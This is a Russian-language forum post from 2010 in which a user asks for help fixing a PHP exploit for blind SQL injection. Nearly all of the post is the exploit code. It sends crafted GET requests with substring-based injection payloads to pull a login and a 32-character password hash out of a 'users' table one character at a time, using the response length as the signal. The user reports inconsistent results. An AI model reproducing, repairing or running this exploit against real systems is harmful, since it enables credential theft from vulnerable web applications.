Показать сообщение отдельно

Помогите написать сплоит для blind sql-inj
  #1  
Старый 23.03.2010, 16:32
scorpic393
Banned
Регистрация: 05.02.2010
Сообщений: 70
С нами: 8559689

Репутация: 5
По умолчанию Помогите написать сплоит для blind sql-inj

Вот я написал сплоит blind sql-inj для самопального скрипта

вот код
PHP код:
<?php


$size
=CheckSize();echo $size."<br>";
GetLogin();
GetPassword();

function 
GetLogin()
{
$char=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

for(
$pos=1;$pos<=5;$pos++)
for(
$i=0;$i<=26;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";

$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
    echo 
$char[$i];
}
}
}

function 
GetPassword()
{
$char=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

for(
$pos=1;$pos<=32;$pos++)
for(
$i=0;$i<=15;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select password from users),$pos,1)='$char[$i]'/*";

$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
    echo 
$char[$i];
}
}
}

function 
Send($host,$headers)
{
$fsock=fsockopen("localhost",80);
fwrite($fsock,$headers);
while(!
feof($fsock))
    
$response=fread($fsock,1024);
return 
$response;
fclose($fsock);
}

function 
CheckSize()
{
$url="http://localhost/index.php?id=1&type=art";

$headers="GET $url HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
return 
strlen($response);
}
?>
Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.
 
Ответить с цитированием